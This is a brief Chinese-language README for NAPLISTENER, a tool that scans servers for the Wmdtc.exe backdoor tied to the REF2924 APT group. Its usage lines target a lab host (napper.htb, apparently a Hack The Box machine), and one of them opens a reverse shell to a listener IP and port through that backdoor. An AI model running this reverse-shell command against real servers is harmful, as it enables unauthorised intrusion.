项目地址:https://github.com/MartinxMax/NAPLISTENER
简介
这是与REF2924 APT组关联的Wmdtc.exe后门扫描程序。
我们可以在Windows和Linux上使用此工具来扫描目标服务器。
如果发现字段[Microsoft HTTPAPI/2.0]存在,您可以尝试扫描组织的后门。
当第一次运行脚本时,它将自动帮助你下载相关文件
扫描
$ python3 Naplistener.py -u "https://napper.htb"
反向Shell
$ python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032